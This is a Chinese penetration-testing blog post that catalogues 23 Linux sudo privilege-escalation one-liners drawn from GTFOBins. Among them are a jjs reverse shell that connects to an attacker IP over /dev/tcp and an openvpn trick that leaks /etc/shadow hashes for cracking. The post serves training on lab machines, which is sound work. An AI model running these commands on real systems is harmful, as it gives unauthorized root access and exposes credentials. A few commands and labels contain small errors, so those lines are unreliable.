目录
写在开头
sudo jjs
sudo journalctl
sudo knife
sudo less
sudo man
sudo more
sudo mount
sudo mysql
sudo nano
sudo neofetch
sudo nice
sudo nmap
sudo node
sudo nohup
sudo openvpn
sudo passwd
sudo perl
sudo php
sudo pico
sudo pkexec
sudo python3
sudo rvim
sudo scp
总结与思考
写在开头
本文在前两篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:
渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客
渗透测试:Linux提权精讲(二)之sudo方法第二期_Bossfrank的博客-CSDN博客
本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:
「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第2部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili
文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。
sudo jjs
漏洞利用前提
当前用户可以以sudo高级权限运行jjs,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/jjs
利用详情可见jjs | GTFOBins,不过据红队笔记大佬说GTFOBins上的利用方式有点问题,收不到反弹shell。jjs是javascript shell的缩写。
操作方式
由于直接运行GTFOBins的指令会卡死,本操作方式结合了jjs | GTFOBins的逻辑,并使用Reverse Shell Cheat Sheet | pentestmonkey的java反弹shell编写方式。
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs
逻辑就是将一个脚本输出到jjs中,而jjs具有sudo权限,执行此反弹shell的逻辑会反弹root的shell。执行之前别忘了在kali中开启nc监听1234端口:
nc -lvnp 1234
即可收到反弹shell。注意此时收到的反弹shell可能交互性不完全,可以输入bash启动bash的shell增强交互性。
sudo journalctl
漏洞利用前提
当前用户可以以sudo高级权限运行journalctl,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /bin/journalctl
同时感叹号!执行系统命令的功能不可被禁用。
journalctl是systemctl体系下用于管理系统日志的工具,在较新的linux发行版中都会有。利用详情可见journalctl | GTFOBins
操作方式
先直接sudo执行journalctl:
sudo journalctl
然后发现进入了查看系统日志的界面,该界面的底层采用了和less命令相似的机制,都可以之间键入感叹号!输入系统命令,因此直接输入:
!/bin/bash
即可实现提权。如果感叹号!执行系统命令的功能被禁用了,则无法提权。
sudo knife
漏洞利用前提
当前用户可以以sudo高级权限运行knife,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/knife
knife是chef的命令行接口,可以与chef的服务器进行交互,chef是一个服务器等基础设施的自动化管理和配置工具。利用详情可见knife | GTFOBins
操作方式
sudo knife exec -E 'exec "/bin/bash"'
其中exec是knife的子命令,-E参数引入ruby语言格式的字符串(knife是基于ruby语言编写的),表示要执行的命令。执行即可提权。
sudo less
漏洞利用前提
当前用户可以以sudo高级权限运行less,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/less
less是常见的用于读取文件的工具,前面已经提到了许多类似less机制的提权,都是利用了读取文件时可以键入系统命令启动shell,利用详见less | GTFOBins
操作方式
可以先建立一个临时文件
mktemp ./XXX
然后应该可以看到这个临时文件的名字,比如./tE70f,然后用sudo less读取这个临时文件:
sudo less tE70f
进入读的界面后,键入感叹号表示输入系统命令,启动bash即可提权:
!/bin/bash
当然也可以直接随便读取个文件,然后输入!/bin/bash,这里描述的采用临时文件的方法有助于渗透测试过程中对自身痕迹的隐藏。
sudo man
漏洞利用前提
当前用户可以以sudo高级权限运行man,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/man
man是常用的用于查看linux命令帮助的工具,提权利用也是类似less的机制,利用详见man | GTFOBins
操作方式
首先随便输入用sudo man查看一个linux命令,这里以ls为例:
sudo man ls
进入帮助界面后,也是键入!可以运行系统命令,类似less的机制即可提权:
!/bin/bash
sudo more
漏洞利用前提
当前用户可以以sudo高级权限运行more,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/more
more和less类似,都是用于读取文件,提权利用也是类似less的机制,利用详见more | GTFOBins
操作方式
还是通过临时文件的方法,先建立一个临时文件:
mktemp ./xxx
应该可以看到这个临时文件的名字,比如./7aADd,此时由于这个临时文件是空的,用more读取不会看到任何的结果,因此我们可以先将某个文件重定向到这个临时文件,这里假设bossfrank是一个已有的文件:
yes bossfrank > 7aADd
然后通过more读取,并用!启动bash:
sudo more 7aADd
!/bin/bash
同样,使用临时文件便于隐藏痕迹。单纯为了提权也可以直接读取系统的文件。
sudo mount
漏洞利用前提
当前用户可以以sudo高级权限运行mount,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/mount
mount常用于文件挂载,可以挂载磁盘也可以挂载共享文件目录,利用详见mount | GTFOBins
操作方式
sudo mount -o bind /bin/bash /bin/mount
-o意思是option指定选项,bind用于绑定,将bash绑定到mount中,这样只要再次sudo运行mount即可提权:
sudo mount
sudo mysql
漏洞利用前提
当前用户可以以sudo高级权限运行mysql,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/mysql
类似mysql这种关键应用常常有执行系统命令的操作,利用详见mysql | GTFOBins
操作方式
sudo mysql -e '\! /bin/sh'
其中-e表示执行系统命令,感叹号!表示开始执行系统命令,由于在bash语句中的感叹号!表示访问历史记录,因此要对感叹号!使用反斜杠\进行转义。
sudo nano
漏洞利用前提
当前用户可以以sudo高级权限运行nano,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/nano
nano是一个文本编辑器,其提权方式非常典型。许多工具底层都会调用nano,因此这是一类的提权方式。利用详见nano | GTFOBins
操作方式
启动nano,可以在nano编辑器底部看到如下的菜单:
sudo nano
输入ctrl + r选择读取文件Read File,进入读取文件的界面,其下部的菜单如下:
此处可以看到,输入ctrl + x进入Execute Command执行命令界面,然后我们只要输入要执行的系统命令即可:
reset;bash 1>&0 2>&0
首先reset重置环境变量,然后启动bash并将输出和错误信息重定向,即可提权。
sudo neofetch
漏洞利用前提
当前用户可以以sudo高级权限运行neofetch,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/neofetch
neofetch本身是一个用于显示系统配置信息的命令行工具,可以通过自定义配置文件改变输出的信息和格式,实现提权,利用详见neofetch | GTFOBins
操作方式
先声明一个变量TF,指向一个新建的临时文件:
TF=$(mktemp)
将提权逻辑写入临时文件中:
echo 'exec /bin/bash' >$TF
最后sudo运行neofetch,同时指定这个配置文件:
sudo neofetch --config $TF
neofetch的配置文件只能通过指定文件的方式进行,因此提权逻辑只能写在文件中,无法在上述语句中直接添加执行系统命令的明文指令。运行上述指令即可提权。
sudo nice
漏洞利用前提
当前用户可以以sudo高级权限运行nice,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/nice
nice命令本身用于修改进程的优先级(优先级最高-20,最低19,默认为10),利用详见nice | GTFOBins
操作方式
直接可以启动bash:
sudo nice /bin/bash
运行即可提权。
sudo nmap
漏洞利用前提
当前用户可以以sudo高级权限运行nmap,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/nice
nmap是常见的端口扫描工具,其中可以自定义脚本,利用详见nmap | GTFOBins
操作方式
nmap有许多版本,也有不同的提权方式,这里给出其中一种:首先声明一个变量TF,指向一个新建的临时文件:
TF=$(mktemp)
将提权逻辑echo到这个临时文件:
echo 'os.execute("/bin/sh")' > $TF
sudo运行nmap并指定我们编写的提权脚本:
sudo nmap --script=$TF
sudo node
漏洞利用前提
当前用户可以以sudo高级权限运行node,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/node
node命令用于运行Node.js,利用详见node | GTFOBins
操作方式
Node.js的选项-e可以进行提权操作:
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
用-e指定字符串,字符串是Node.js的代码。执行上述命令即可提权。
sudo nohup
漏洞利用前提
当前用户可以以sudo高级权限运行nohup,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/nohup
nohup命令主要用于作业管理,nohup可以运行命令的同时忽略挂起的信号(比如用nohup启动进程后,当终端关闭之后,进程依旧运行),利用详见nohup | GTFOBins
操作方式
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
先用nohup启动/bin/bash会话,其中-c参数对进程进行管理,将bash的输入输出重定向。运行即可提权。
sudo openvpn
漏洞利用前提
当前用户可以以sudo高级权限运行openvpn,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/openvpn
openvpn的利用详见openvpn | GTFOBins
操作方式
openvpn可以通过参数读取配置文件,如果可以sudo,则能够以root身份读取系统的敏感文件:
sudo openvpn --config /etc/shadow
结果会报错,但报错信息会暴露敏感信息的第一行,即/etc/shadow的第一行,我们可以据此拿到root账户的密码hash,再用john找个字典破解即可(未必能破解出来)。
sudo passwd
漏洞利用前提
当前用户可以以sudo高级权限运行修改密码指令passwd,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/passwd
passwd的利用就是直接修改密码。
操作方式
既然可以sudo运行passwd,那咱可以直接把root的密码改掉:
sudo passwd
然后输入两次密码,就可以用我们的新密码su提权了。虽然看着有点离谱,但是真实情况还真有可能出现这种配置情况:低权限的管理员需要修改系统的密码,就会给自己设置passwd的sudo权限。
sudo perl
漏洞利用前提
当前用户可以以sudo高级权限运行perl语言,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/perl
利用详见perl | GTFOBins。
操作方式
perl是一种脚本语言,提权方式有很多。以如下为例:
sudo perl -e 'exec "/bin/sh";'
perl语言有-e参数,用于直接执行perl脚本,按照这种方式,直接执行启动bash即可,运行上述命令即可直接提权。
sudo php
漏洞利用前提
当前用户可以以sudo高级权限运行php,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/php
利用详见php | GTFOBins
操作方式
php也是常见的语言,在渗透测试过程中更是尤为常见。我们应该能想到许多提权语句。这里采用一种简单直观的,直接用-r参数启动bash。在web渗透中这些操作也是非常实用的。
sudo php -r "system('/bin/bash');"
在web渗透中这些操作也是非常实用的。
sudo pico
漏洞利用前提
当前用户可以以sudo高级权限运行pico,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/pico
pico和nano非常相似,也是一种编辑器(功能与nano有差异),利用详见pico | GTFOBins
操作方式
这里的操作和nano的提权方式基本一致,懒得讲了,总之就是如下命令:
sudo pico
^R^X
reset; bash 1>&0 2>&0
其中ctrl + r选择Read File模式,ctrl + x选择执行命令Execute Commend
sudo pkexec
漏洞利用前提
当前用户可以以sudo高级权限运行pkexec,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/pkexec
pk就是policykit策略套件的简称,是一种用于管理系统策略的服务。policykit可以允许非特权进程通信以进行特权操作。利用详见pkexec | GTFOBins
操作方式
pkexec这个工具可以进行权限相关的操作,执行用户指定的程序,这里就是启动bash
sudo pkexec /bin/bash
执行即可提权。
sudo python3
漏洞利用前提
当前用户可以以sudo高级权限运行python3,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/python3
python也是常见大型语言,利用详见python | GTFOBins
操作方式
我们通常用python语句进行反射,提高shell的交互性,这里也可以直接利用语句启动shell:
sudo python3 -c "import os;os.system('/bin/bash)"
执行即可提权。提权方式有很多,这里仅仅是其中一种。
sudo rvim
漏洞利用前提
当前用户可以以sudo高级权限运行rvim,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/rvim
rvim是vim编辑器的一个特定版本,其中表示restricted受限模式,在rvim中的操作相比于vim,做了很多限制,禁用了许多可能危害系统的命令。利用详见rvim | GTFOBins
操作方式
sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
执行即可提权,单引号中的内容是通过python编写启动shell会话的代码,其中冒号:是vim的语法,表示执行系统命令。
sudo scp
漏洞利用前提
当前用户可以以sudo高级权限运行scp,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/scp
scp是secure copy的缩写,用于Linux中的基于ssh的远程文件复制,功能类似与cp,但可以跨服务器复制。利用详见scp | GTFOBins
操作方式
提权时需要指定参数-S,表示指定SSH程序,可在其中指定ssh逻辑。先用一个变量TF指向临时文件:
TF=$(mktemp)
然后将提权逻辑写到临时变量中
echo 'bash 0<&2 1>&2' > $TF
给变量(临时文件)添加执行权限:
chmod +x "$TF"
然后用-S参数指定临时文件,此处的$TF是作为ssh程序给出,同时要指定源文件和目标文件,由于我们只是想提权,并不想真的copy,因此随便写一个x和y即可,冒号:用于区分本地文件和远程文件。
sudo scp -S $TF x y:
执行即可提权。
总结与思考
本文介绍了23种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
可直接执行系统命令:sudo nice, sudo nohup, sudo pkexec
通过某些参数间接执行系统命令:sudo knife, sudo mount, sudo rvim, sudo mysql
基于某种语言:sudo perl, sudo php, sudo python, sudo node, sudo jjs
类似在less环境执行系统命令: sudo less, sudo more, sudo journalctl, sudo man
类似nano的编辑器环境执行系统命令:sudo nano, sudo pico
通过报错读取敏感文件:sudo openvpn
通过指定配置文件/脚本执行系统命令:sudo neofetch, sudo nmap, sudo scp
直接修改敏感文件:sudo passwd
其实多数情况都是通过某种方式执行了系统的命令。至于是以哪种方式执行(直接/脚本/配置文件/在编辑器环境等)其实也没有特别明确的界限。 因此可能我的有些归类也略显牵强,大家只要理解提权的逻辑即可。
这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。